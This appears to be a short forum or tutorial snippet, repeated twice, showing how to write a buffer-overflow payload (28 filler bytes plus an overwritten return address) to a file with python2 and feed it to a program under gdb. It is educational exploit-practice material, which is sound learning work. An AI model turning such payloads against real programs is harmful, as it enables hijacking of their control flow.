python2 -c 'print "A" * 28 + "\x82\x91\x04\x08"' > payload
gdb ./myfile < payloadSince these hex numbers are not printable ascii, you must save these results in a file, and send that file to gdb instead of a stdin.
python2 -c 'print "A" * 28 + "\x82\x91\x04\x08"' > payload
gdb ./myfile < payloadSince these hex numbers are not printable ascii, you must save these results in a file, and send that file to gdb instead of a stdin.